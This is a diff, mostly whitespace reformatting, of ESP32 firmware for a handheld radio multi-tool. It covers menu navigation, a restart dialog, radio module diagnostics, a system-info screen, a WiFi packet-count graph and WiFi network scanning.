u8g2.drawStr(18, 18, "Restart Device?");
|
||||||
|
|
||||||
|
if (confirm) {
|
||||||
|
u8g2.drawBox(10, 35, 45, 15);
|
||||||
|
u8g2.setDrawColor(0);
|
||||||
|
u8g2.drawStr(20, 47, "YES");
|
||||||
|
u8g2.setDrawColor(1);
|
||||||
|
|
||||||
|
u8g2.drawStr(75, 47, "NO");
|
||||||
|
} else {
|
||||||
|
u8g2.drawStr(20, 47, "YES");
|
||||||
|
|
||||||
|
u8g2.drawBox(65, 35, 45, 15);
|
||||||
|
u8g2.setDrawColor(0);
|
||||||
|
u8g2.drawStr(78, 47, "NO");
|
||||||
|
u8g2.setDrawColor(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
u8g2.sendBuffer();
|
||||||
|
|
||||||
|
if (btnLeft() || btnUp()) {
|
||||||
|
confirm = true;
|
||||||
|
delay(150);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (btnRight() || btnDown()) {
|
||||||
|
confirm = false;
|
||||||
|
delay(150);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (btnSelect()) {
|
||||||
|
delay(150);
|
||||||
|
|
||||||
|
if (confirm) {
|
||||||
|
u8g2.clearBuffer();
|
||||||
|
u8g2.drawStr(28, 30, "Restarting...");
|
||||||
|
u8g2.sendBuffer();
|
||||||
|
|
||||||
|
delay(1000);
|
||||||
|
ESP.restart();
|
||||||
|
} else {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (btnBack()) {
|
||||||
|
delay(150);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} break;
|
||||||
|
|
||||||
|
case 9:
|
||||||
|
// Begin Ble mouse
|
||||||
|
bleMouse.begin();
|
||||||
|
ble_mouse_run();
|
||||||
|
break;
|
||||||
|
case 10:
|
||||||
|
pn532_scan_loop();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} else if (currentMenu == &badusbMenu) {
|
||||||
|
badUSBMenu(menuIndex);
|
||||||
|
} else if (currentMenu == &nrfToolsMenu) {
|
||||||
|
NRFToolsMenu(menuIndex);
|
||||||
}
|
}
|
||||||
} else if (currentMenu == &badusbMenu) {
|
|
||||||
badUSBMenu(menuIndex);
|
|
||||||
} else if (currentMenu == &nrfToolsMenu) {
|
|
||||||
NRFToolsMenu(menuIndex);
|
|
||||||
}
|
|
||||||
|
|
||||||
insideFeature = false;
|
insideFeature = false;
|
||||||
|
|
||||||
drawMenu();
|
drawMenu();
|
||||||
}
|
}
|
||||||
|
|
||||||
// ================= INIT =================
|
// ================= INIT =================
|
||||||
|
|
||||||
void menuInit() {
|
void menuInit() {
|
||||||
currentMenu = &mainMenu;
|
currentMenu = &mainMenu;
|
||||||
menuIndex = 0;
|
menuIndex = 0;
|
||||||
menuOffset = 0;
|
menuOffset = 0;
|
||||||
|
|
||||||
drawMenu();
|
drawMenu();
|
||||||
}
|
}
|
||||||
|
|
||||||
// ================= LOOP =================
|
// ================= LOOP =================
|
||||||
|
|
||||||
void menuLoop() {
|
void menuLoop() {
|
||||||
static uint32_t lastPress = 0;
|
static uint32_t lastPress = 0;
|
||||||
|
|
||||||
if (insideFeature)
|
if (insideFeature)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
if (millis() - lastPress < 150)
|
if (millis() - lastPress < 150)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
if (btnUp()) {
|
if (btnUp()) {
|
||||||
menuIndex--;
|
menuIndex--;
|
||||||
|
|
||||||
if (menuIndex < 0)
|
if (menuIndex < 0)
|
||||||
menuIndex = currentMenu->size - 1;
|
menuIndex = currentMenu->size - 1;
|
||||||
|
|
||||||
drawMenu();
|
drawMenu();
|
||||||
lastPress = millis();
|
lastPress = millis();
|
||||||
}
|
|
||||||
|
|
||||||
else if (btnDown()) {
|
|
||||||
menuIndex++;
|
|
||||||
|
|
||||||
if (menuIndex >= currentMenu->size)
|
|
||||||
menuIndex = 0;
|
|
||||||
|
|
||||||
drawMenu();
|
|
||||||
lastPress = millis();
|
|
||||||
}
|
|
||||||
|
|
||||||
else if (btnSelect()) {
|
|
||||||
launchFeature();
|
|
||||||
lastPress = millis();
|
|
||||||
}
|
|
||||||
|
|
||||||
else if (btnBack()) {
|
|
||||||
if (currentMenu != &mainMenu) {
|
|
||||||
currentMenu = &mainMenu;
|
|
||||||
menuIndex = 0;
|
|
||||||
menuOffset = 0;
|
|
||||||
|
|
||||||
drawMenu();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
lastPress = millis();
|
else if (btnDown()) {
|
||||||
}
|
menuIndex++;
|
||||||
|
|
||||||
|
if (menuIndex >= currentMenu->size)
|
||||||
|
menuIndex = 0;
|
||||||
|
|
||||||
|
drawMenu();
|
||||||
|
lastPress = millis();
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (btnSelect()) {
|
||||||
|
launchFeature();
|
||||||
|
lastPress = millis();
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (btnBack()) {
|
||||||
|
if (currentMenu != &mainMenu) {
|
||||||
|
currentMenu = &mainMenu;
|
||||||
|
menuIndex = 0;
|
||||||
|
menuOffset = 0;
|
||||||
|
|
||||||
|
drawMenu();
|
||||||
|
}
|
||||||
|
|
||||||
|
lastPress = millis();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -1,7 +1,6 @@
|
||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
struct Menu
|
struct Menu {
|
||||||
{
|
|
||||||
const char **items;
|
const char **items;
|
||||||
int size;
|
int size;
|
||||||
};
|
};
|
||||||
|
|
|
||||||
|
|
@ -3,12 +3,12 @@
|
||||||
#include <Arduino.h>
|
#include <Arduino.h>
|
||||||
|
|
||||||
void buttonsInit() {
|
void buttonsInit() {
|
||||||
pinMode(BTN_UP, INPUT_PULLUP);
|
pinMode(BTN_UP, INPUT_PULLUP);
|
||||||
pinMode(BTN_DOWN, INPUT_PULLUP);
|
pinMode(BTN_DOWN, INPUT_PULLUP);
|
||||||
pinMode(BTN_SELECT, INPUT_PULLUP);
|
pinMode(BTN_SELECT, INPUT_PULLUP);
|
||||||
pinMode(BTN_BACK, INPUT_PULLUP);
|
pinMode(BTN_BACK, INPUT_PULLUP);
|
||||||
pinMode(BTN_RIGHT, INPUT_PULLUP);
|
pinMode(BTN_RIGHT, INPUT_PULLUP);
|
||||||
pinMode(BTN_LEFT, INPUT_PULLUP);
|
pinMode(BTN_LEFT, INPUT_PULLUP);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool btnUp() { return !digitalRead(BTN_UP); }
|
bool btnUp() { return !digitalRead(BTN_UP); }
|
||||||
|
|
|
||||||
|
|
@ -16,10 +16,10 @@ extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2;
|
||||||
|
|
||||||
// ===== RESULTS =====
|
// ===== RESULTS =====
|
||||||
struct DeviceStatus {
|
struct DeviceStatus {
|
||||||
bool nrf1 = false;
|
bool nrf1 = false;
|
||||||
bool nrf2 = false;
|
bool nrf2 = false;
|
||||||
bool cc1101 = false;
|
bool cc1101 = false;
|
||||||
bool oled = true;
|
bool oled = true;
|
||||||
};
|
};
|
||||||
|
|
||||||
// ===== NRF CHECK =====
|
// ===== NRF CHECK =====
|
||||||
|
|
@ -35,24 +35,24 @@ struct DeviceStatus {
|
||||||
//}
|
//}
|
||||||
|
|
||||||
bool checkNRF(RF24 &radio) {
|
bool checkNRF(RF24 &radio) {
|
||||||
radio.powerDown();
|
radio.powerDown();
|
||||||
delay(5);
|
delay(5);
|
||||||
|
|
||||||
if (!radio.begin(RADIO_SPI))
|
if (!radio.begin(RADIO_SPI))
|
||||||
return false;
|
return false;
|
||||||
|
|
||||||
delay(5);
|
delay(5);
|
||||||
|
|
||||||
return radio.isChipConnected();
|
return radio.isChipConnected();
|
||||||
}
|
}
|
||||||
|
|
||||||
// ===== CC1101 CHECK =====
|
// ===== CC1101 CHECK =====
|
||||||
bool checkCC1101(uint8_t csPin) {
|
bool checkCC1101(uint8_t csPin) {
|
||||||
ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, csPin);
|
ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, csPin);
|
||||||
|
|
||||||
delay(5);
|
delay(5);
|
||||||
|
|
||||||
return ELECHOUSE_cc1101.getCC1101();
|
return ELECHOUSE_cc1101.getCC1101();
|
||||||
}
|
}
|
||||||
|
|
||||||
// ===== DRAW =====
|
// ===== DRAW =====
|
||||||
|
|
@ -67,85 +67,85 @@ int selectedIndex = 0;
|
||||||
int offset = 0;
|
int offset = 0;
|
||||||
|
|
||||||
void drawStatus(DeviceStatus &s) {
|
void drawStatus(DeviceStatus &s) {
|
||||||
values[0] = s.nrf1;
|
values[0] = s.nrf1;
|
||||||
values[1] = s.nrf2;
|
values[1] = s.nrf2;
|
||||||
values[2] = s.cc1101;
|
values[2] = s.cc1101;
|
||||||
values[3] = s.oled;
|
values[3] = s.oled;
|
||||||
|
|
||||||
u8g2.clearBuffer();
|
u8g2.clearBuffer();
|
||||||
u8g2.setFont(u8g2_font_6x10_tr);
|
u8g2.setFont(u8g2_font_6x10_tr);
|
||||||
|
|
||||||
// scrolling logic
|
// scrolling logic
|
||||||
if (selectedIndex < offset)
|
if (selectedIndex < offset)
|
||||||
offset = selectedIndex;
|
offset = selectedIndex;
|
||||||
|
|
||||||
if (selectedIndex >= offset + VISIBLE_ROWS)
|
if (selectedIndex >= offset + VISIBLE_ROWS)
|
||||||
offset = selectedIndex - VISIBLE_ROWS + 1;
|
offset = selectedIndex - VISIBLE_ROWS + 1;
|
||||||
|
|
||||||
for (int i = 0; i < VISIBLE_ROWS; i++) {
|
for (int i = 0; i < VISIBLE_ROWS; i++) {
|
||||||
int item = offset + i;
|
int item = offset + i;
|
||||||
if (item >= MAX_ITEMS)
|
if (item >= MAX_ITEMS)
|
||||||
break;
|
break;
|
||||||
|
|
||||||
int y = 12 + i * 10;
|
int y = 12 + i * 10;
|
||||||
|
|
||||||
if (item == selectedIndex) {
|
if (item == selectedIndex) {
|
||||||
u8g2.drawBox(0, y - 9, 128, 10);
|
u8g2.drawBox(0, y - 9, 128, 10);
|
||||||
u8g2.setDrawColor(0);
|
u8g2.setDrawColor(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
u8g2.drawStr(2, y, labels[item]);
|
||||||
|
|
||||||
|
if (values[item])
|
||||||
|
u8g2.drawStr(80, y, "OK");
|
||||||
|
else
|
||||||
|
u8g2.drawStr(80, y, "FAIL");
|
||||||
|
|
||||||
|
if (item == selectedIndex)
|
||||||
|
u8g2.setDrawColor(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
u8g2.drawStr(2, y, labels[item]);
|
u8g2.sendBuffer();
|
||||||
|
|
||||||
if (values[item])
|
|
||||||
u8g2.drawStr(80, y, "OK");
|
|
||||||
else
|
|
||||||
u8g2.drawStr(80, y, "FAIL");
|
|
||||||
|
|
||||||
if (item == selectedIndex)
|
|
||||||
u8g2.setDrawColor(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
u8g2.sendBuffer();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// ===== MAIN =====
|
// ===== MAIN =====
|
||||||
void device_check_run() {
|
void device_check_run() {
|
||||||
DeviceStatus status;
|
DeviceStatus status;
|
||||||
|
|
||||||
Serial.println("Running device diagnostics...");
|
Serial.println("Running device diagnostics...");
|
||||||
|
|
||||||
// NRF
|
// NRF
|
||||||
status.nrf1 = checkNRF(radio1);
|
status.nrf1 = checkNRF(radio1);
|
||||||
status.nrf2 = checkNRF(radio2);
|
status.nrf2 = checkNRF(radio2);
|
||||||
|
|
||||||
// CC1101
|
// CC1101
|
||||||
status.cc1101 = checkCC1101(CC1101_CS);
|
status.cc1101 = checkCC1101(CC1101_CS);
|
||||||
// status.cc1101 = true;
|
// status.cc1101 = true;
|
||||||
|
|
||||||
drawStatus(status);
|
|
||||||
|
|
||||||
Serial.println("Diagnostics complete");
|
|
||||||
|
|
||||||
while (1) {
|
|
||||||
drawStatus(status);
|
drawStatus(status);
|
||||||
|
|
||||||
if (btnUp()) {
|
Serial.println("Diagnostics complete");
|
||||||
selectedIndex--;
|
|
||||||
if (selectedIndex < 0)
|
|
||||||
selectedIndex = MAX_ITEMS - 1;
|
|
||||||
delay(150);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (btnDown()) {
|
while (1) {
|
||||||
selectedIndex++;
|
drawStatus(status);
|
||||||
if (selectedIndex >= MAX_ITEMS)
|
|
||||||
selectedIndex = 0;
|
|
||||||
delay(150);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (btnBack()) {
|
if (btnUp()) {
|
||||||
delay(150);
|
selectedIndex--;
|
||||||
break;
|
if (selectedIndex < 0)
|
||||||
|
selectedIndex = MAX_ITEMS - 1;
|
||||||
|
delay(150);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (btnDown()) {
|
||||||
|
selectedIndex++;
|
||||||
|
if (selectedIndex >= MAX_ITEMS)
|
||||||
|
selectedIndex = 0;
|
||||||
|
delay(150);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (btnBack()) {
|
||||||
|
delay(150);
|
||||||
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -5,80 +5,80 @@
|
||||||
#include <esp_heap_caps.h>
|
#include <esp_heap_caps.h>
|
||||||
|
|
||||||
void runSystemInfoFeature() {
|
void runSystemInfoFeature() {
|
||||||
esp_chip_info_t chip_info;
|
|
||||||
|
|
||||||
esp_chip_info(&chip_info);
|
|
||||||
|
|
||||||
while (true) {
|
|
||||||
// u8g2.clearBuffer();
|
|
||||||
|
|
||||||
// char buf[32];
|
|
||||||
|
|
||||||
// sprintf(buf, "Cores: %d", chip_info.cores);
|
|
||||||
// u8g2.drawStr(0, 14, buf);
|
|
||||||
|
|
||||||
// sprintf(buf, "Heap: %d",
|
|
||||||
// heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
|
|
||||||
// u8g2.drawStr(0, 28, buf);
|
|
||||||
|
|
||||||
// u8g2.drawStr(0, 60, "BACK to exit");
|
|
||||||
|
|
||||||
// Get RAM info
|
|
||||||
size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT);
|
|
||||||
size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT);
|
|
||||||
int ramUsage = 100 - ((freeHeap * 100) / totalHeap);
|
|
||||||
|
|
||||||
// Get Flash info
|
|
||||||
// uint32_t flashSize = spi_flash_get_chip_size();
|
|
||||||
uint32_t flashSize = ESP.getFlashChipSize();
|
|
||||||
uint32_t flashUsed = ESP.getSketchSize();
|
|
||||||
int flashUsage = (flashUsed * 100) / flashSize;
|
|
||||||
|
|
||||||
// Temperature (approx)
|
|
||||||
uint8_t temperature = temperatureRead();
|
|
||||||
|
|
||||||
// Chip info
|
|
||||||
esp_chip_info_t chip_info;
|
esp_chip_info_t chip_info;
|
||||||
|
|
||||||
esp_chip_info(&chip_info);
|
esp_chip_info(&chip_info);
|
||||||
|
|
||||||
u8g2.clearBuffer();
|
while (true) {
|
||||||
u8g2.setFont(u8g2_font_6x12_tr);
|
// u8g2.clearBuffer();
|
||||||
|
|
||||||
char buf[32];
|
// char buf[32];
|
||||||
|
|
||||||
// Box 1 - RAM
|
// sprintf(buf, "Cores: %d", chip_info.cores);
|
||||||
u8g2.drawFrame(0, 0, 128, 12);
|
// u8g2.drawStr(0, 14, buf);
|
||||||
sprintf(buf, "RAM: %d%% used", ramUsage);
|
|
||||||
u8g2.drawStr(4, 9, buf);
|
|
||||||
|
|
||||||
// Box 2 - Flash
|
// sprintf(buf, "Heap: %d",
|
||||||
u8g2.drawFrame(0, 12, 128, 12);
|
// heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
|
||||||
sprintf(buf, "Flash: %d%% used", flashUsage);
|
// u8g2.drawStr(0, 28, buf);
|
||||||
u8g2.drawStr(4, 21, buf);
|
|
||||||
|
|
||||||
// Box 3 - Temp (FULL WIDTH now)
|
// u8g2.drawStr(0, 60, "BACK to exit");
|
||||||
u8g2.drawFrame(0, 24, 128, 12);
|
|
||||||
sprintf(buf, "Temp: %d C", temperature);
|
|
||||||
u8g2.drawStr(4, 33, buf);
|
|
||||||
|
|
||||||
// Box 4 - Chip info (FULL WIDTH)
|
// Get RAM info
|
||||||
u8g2.drawFrame(0, 36, 128, 12);
|
size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT);
|
||||||
sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision);
|
size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT);
|
||||||
u8g2.drawStr(4, 45, buf);
|
int ramUsage = 100 - ((freeHeap * 100) / totalHeap);
|
||||||
|
|
||||||
// Box 5 - PSRAM (KB)
|
// Get Flash info
|
||||||
u8g2.drawFrame(0, 48, 128, 12);
|
// uint32_t flashSize = spi_flash_get_chip_size();
|
||||||
sprintf(buf, "PSRAM: %lu KB",
|
uint32_t flashSize = ESP.getFlashChipSize();
|
||||||
heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024);
|
uint32_t flashUsed = ESP.getSketchSize();
|
||||||
u8g2.drawStr(4, 57, buf);
|
int flashUsage = (flashUsed * 100) / flashSize;
|
||||||
|
|
||||||
u8g2.sendBuffer();
|
// Temperature (approx)
|
||||||
|
uint8_t temperature = temperatureRead();
|
||||||
|
|
||||||
if (btnBack()) {
|
// Chip info
|
||||||
delay(200);
|
esp_chip_info_t chip_info;
|
||||||
return;
|
esp_chip_info(&chip_info);
|
||||||
|
|
||||||
|
u8g2.clearBuffer();
|
||||||
|
u8g2.setFont(u8g2_font_6x12_tr);
|
||||||
|
|
||||||
|
char buf[32];
|
||||||
|
|
||||||
|
// Box 1 - RAM
|
||||||
|
u8g2.drawFrame(0, 0, 128, 12);
|
||||||
|
sprintf(buf, "RAM: %d%% used", ramUsage);
|
||||||
|
u8g2.drawStr(4, 9, buf);
|
||||||
|
|
||||||
|
// Box 2 - Flash
|
||||||
|
u8g2.drawFrame(0, 12, 128, 12);
|
||||||
|
sprintf(buf, "Flash: %d%% used", flashUsage);
|
||||||
|
u8g2.drawStr(4, 21, buf);
|
||||||
|
|
||||||
|
// Box 3 - Temp (FULL WIDTH now)
|
||||||
|
u8g2.drawFrame(0, 24, 128, 12);
|
||||||
|
sprintf(buf, "Temp: %d C", temperature);
|
||||||
|
u8g2.drawStr(4, 33, buf);
|
||||||
|
|
||||||
|
// Box 4 - Chip info (FULL WIDTH)
|
||||||
|
u8g2.drawFrame(0, 36, 128, 12);
|
||||||
|
sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision);
|
||||||
|
u8g2.drawStr(4, 45, buf);
|
||||||
|
|
||||||
|
// Box 5 - PSRAM (KB)
|
||||||
|
u8g2.drawFrame(0, 48, 128, 12);
|
||||||
|
sprintf(buf, "PSRAM: %lu KB",
|
||||||
|
heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024);
|
||||||
|
u8g2.drawStr(4, 57, buf);
|
||||||
|
|
||||||
|
u8g2.sendBuffer();
|
||||||
|
|
||||||
|
if (btnBack()) {
|
||||||
|
delay(200);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
delay(100);
|
||||||
}
|
}
|
||||||
|
|
||||||
delay(100);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -14,123 +14,124 @@
|
||||||
|
|
||||||
// ===== STATE =====
|
// ===== STATE =====
|
||||||
struct SnifferGraph {
|
struct SnifferGraph {
|
||||||
uint8_t graphData[MAX_POINTS];
|
uint8_t graphData[MAX_POINTS];
|
||||||
uint8_t currentChannel = 1;
|
uint8_t currentChannel = 1;
|
||||||
volatile uint16_t packetCounter = 0;
|
volatile uint16_t packetCounter = 0;
|
||||||
unsigned long lastChannelSwitch = 0;
|
unsigned long lastChannelSwitch = 0;
|
||||||
unsigned long lastUpdate = 0;
|
unsigned long lastUpdate = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
static SnifferGraph sniffer;
|
static SnifferGraph sniffer;
|
||||||
|
|
||||||
// ===== CALLBACK =====
|
// ===== CALLBACK =====
|
||||||
void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) {
|
void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) {
|
||||||
if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL) {
|
if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA ||
|
||||||
sniffer.packetCounter++;
|
type == WIFI_PKT_CTRL) {
|
||||||
}
|
sniffer.packetCounter++;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// ===== INIT =====
|
// ===== INIT =====
|
||||||
void wifi_analyzer_start() {
|
void wifi_analyzer_start() {
|
||||||
// display init (safe to call again)
|
// display init (safe to call again)
|
||||||
u8g2.clearBuffer();
|
u8g2.clearBuffer();
|
||||||
u8g2.setFont(u8g2_font_5x8_tr);
|
u8g2.setFont(u8g2_font_5x8_tr);
|
||||||
u8g2.drawStr(0, 10, "Starting analyzer...");
|
u8g2.drawStr(0, 10, "Starting analyzer...");
|
||||||
u8g2.sendBuffer();
|
u8g2.sendBuffer();
|
||||||
|
|
||||||
// reset graph
|
// reset graph
|
||||||
memset(sniffer.graphData, 0, sizeof(sniffer.graphData));
|
memset(sniffer.graphData, 0, sizeof(sniffer.graphData));
|
||||||
sniffer.packetCounter = 0;
|
sniffer.packetCounter = 0;
|
||||||
sniffer.currentChannel = 1;
|
sniffer.currentChannel = 1;
|
||||||
|
|
||||||
// reset WiFi
|
// reset WiFi
|
||||||
WiFi.disconnect(true, true);
|
WiFi.disconnect(true, true);
|
||||||
esp_wifi_stop();
|
esp_wifi_stop();
|
||||||
delay(200);
|
delay(200);
|
||||||
esp_wifi_deinit();
|
esp_wifi_deinit();
|
||||||
|
|
||||||
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
||||||
esp_wifi_init(&cfg);
|
esp_wifi_init(&cfg);
|
||||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||||
esp_wifi_set_mode(WIFI_MODE_NULL);
|
esp_wifi_set_mode(WIFI_MODE_NULL);
|
||||||
esp_wifi_start();
|
esp_wifi_start();
|
||||||
|
|
||||||
esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
|
esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
|
||||||
esp_wifi_set_promiscuous_rx_cb(snifferCallback);
|
esp_wifi_set_promiscuous_rx_cb(snifferCallback);
|
||||||
esp_wifi_set_promiscuous(true);
|
esp_wifi_set_promiscuous(true);
|
||||||
}
|
}
|
||||||
|
|
||||||
// ===== HELPERS =====
|
// ===== HELPERS =====
|
||||||
static void switchChannel() {
|
static void switchChannel() {
|
||||||
sniffer.currentChannel++;
|
sniffer.currentChannel++;
|
||||||
if (sniffer.currentChannel > 13)
|
if (sniffer.currentChannel > 13)
|
||||||
sniffer.currentChannel = 1;
|
sniffer.currentChannel = 1;
|
||||||
|
|
||||||
esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
|
esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
|
||||||
}
|
}
|
||||||
|
|
||||||
static void updateGraph(uint8_t value) {
|
static void updateGraph(uint8_t value) {
|
||||||
for (int i = 0; i < MAX_POINTS - 1; i++) {
|
for (int i = 0; i < MAX_POINTS - 1; i++) {
|
||||||
sniffer.graphData[i] = sniffer.graphData[i + 1];
|
sniffer.graphData[i] = sniffer.graphData[i + 1];
|
||||||
}
|
}
|
||||||
|
|
||||||
sniffer.graphData[MAX_POINTS - 1] = value;
|
sniffer.graphData[MAX_POINTS - 1] = value;
|
||||||
}
|
}
|
||||||
|
|
||||||
static void drawGraph(uint16_t pktCount) {
|
static void drawGraph(uint16_t pktCount) {
|
||||||
u8g2.clearBuffer();
|
u8g2.clearBuffer();
|
||||||
u8g2.setFont(u8g2_font_5x8_tr);
|
u8g2.setFont(u8g2_font_5x8_tr);
|
||||||
|
|
||||||
char line1[16];
|
char line1[16];
|
||||||
char line2[16];
|
char line2[16];
|
||||||
|
|
||||||
sprintf(line1, "Ch:%d", sniffer.currentChannel);
|
sprintf(line1, "Ch:%d", sniffer.currentChannel);
|
||||||
sprintf(line2, "Pkts:%d", pktCount * 5);
|
sprintf(line2, "Pkts:%d", pktCount * 5);
|
||||||
|
|
||||||
u8g2.drawStr(0, 8, line1);
|
u8g2.drawStr(0, 8, line1);
|
||||||
u8g2.drawStr(60, 8, line2);
|
u8g2.drawStr(60, 8, line2);
|
||||||
|
|
||||||
for (int x = 1; x < GRAPH_WIDTH; x++) {
|
for (int x = 1; x < GRAPH_WIDTH; x++) {
|
||||||
int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1];
|
int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1];
|
||||||
int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x];
|
int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x];
|
||||||
|
|
||||||
u8g2.drawLine(x - 1, y1, x, y2);
|
u8g2.drawLine(x - 1, y1, x, y2);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (pktCount >= SPIKE_THRESHOLD) {
|
if (pktCount >= SPIKE_THRESHOLD) {
|
||||||
u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT);
|
u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT);
|
||||||
}
|
}
|
||||||
|
|
||||||
u8g2.sendBuffer();
|
u8g2.sendBuffer();
|
||||||
}
|
}
|
||||||
|
|
||||||
// ===== LOOP =====
|
// ===== LOOP =====
|
||||||
void wifi_analyzer_loop() {
|
void wifi_analyzer_loop() {
|
||||||
static uint32_t lastPress = 0;
|
static uint32_t lastPress = 0;
|
||||||
unsigned long now = millis();
|
unsigned long now = millis();
|
||||||
|
|
||||||
// channel hopping
|
// channel hopping
|
||||||
if (now - sniffer.lastChannelSwitch >= 1000) {
|
if (now - sniffer.lastChannelSwitch >= 1000) {
|
||||||
sniffer.lastChannelSwitch = now;
|
sniffer.lastChannelSwitch = now;
|
||||||
switchChannel();
|
switchChannel();
|
||||||
}
|
}
|
||||||
|
|
||||||
// graph update
|
// graph update
|
||||||
if (now - sniffer.lastUpdate >= 200) {
|
if (now - sniffer.lastUpdate >= 200) {
|
||||||
sniffer.lastUpdate = now;
|
sniffer.lastUpdate = now;
|
||||||
|
|
||||||
uint16_t pktCount = sniffer.packetCounter;
|
uint16_t pktCount = sniffer.packetCounter;
|
||||||
|
|
||||||
uint8_t scaled = pktCount * 2;
|
uint8_t scaled = pktCount * 2;
|
||||||
uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT);
|
uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT);
|
||||||
|
|
||||||
updateGraph(value);
|
updateGraph(value);
|
||||||
drawGraph(pktCount);
|
drawGraph(pktCount);
|
||||||
|
|
||||||
sniffer.packetCounter = 0;
|
sniffer.packetCounter = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
// optional: small debounce to not hammer CPU
|
// optional: small debounce to not hammer CPU
|
||||||
if (millis() - lastPress < 10)
|
if (millis() - lastPress < 10)
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -6,10 +6,10 @@
|
||||||
#define MAX_NETWORKS 30
|
#define MAX_NETWORKS 30
|
||||||
|
|
||||||
struct WiFiNet {
|
struct WiFiNet {
|
||||||
String ssid;
|
String ssid;
|
||||||
int rssi;
|
int rssi;
|
||||||
int channel;
|
int channel;
|
||||||
bool encrypted;
|
bool encrypted;
|
||||||
};
|
};
|
||||||
|
|
||||||
static WiFiNet networks[MAX_NETWORKS];
|
static WiFiNet networks[MAX_NETWORKS];
|
||||||
|
|
@ -18,122 +18,122 @@ static int selectedIndex = 0;
|
||||||
|
|
||||||
// ===== SCAN =====
|
// ===== SCAN =====
|
||||||
void wifi_scan_start() {
|
void wifi_scan_start() {
|
||||||
u8g2.clearBuffer();
|
u8g2.clearBuffer();
|
||||||
u8g2.drawStr(10, 30, "Scanning WiFi...");
|
u8g2.drawStr(10, 30, "Scanning WiFi...");
|
||||||
u8g2.sendBuffer();
|
u8g2.sendBuffer();
|
||||||
|
|
||||||
WiFi.mode(WIFI_STA);
|
WiFi.mode(WIFI_STA);
|
||||||
WiFi.disconnect();
|
WiFi.disconnect();
|
||||||
|
|
||||||
delay(100);
|
delay(100);
|
||||||
|
|
||||||
int n = WiFi.scanNetworks();
|
int n = WiFi.scanNetworks();
|
||||||
|
|
||||||
networkCount = min(n, MAX_NETWORKS);
|
networkCount = min(n, MAX_NETWORKS);
|
||||||
|
|
||||||
for (int i = 0; i < networkCount; i++) {
|
for (int i = 0; i < networkCount; i++) {
|
||||||
networks[i].ssid = WiFi.SSID(i);
|
networks[i].ssid = WiFi.SSID(i);
|
||||||
networks[i].rssi = WiFi.RSSI(i);
|
networks[i].rssi = WiFi.RSSI(i);
|
||||||
networks[i].channel = WiFi.channel(i);
|
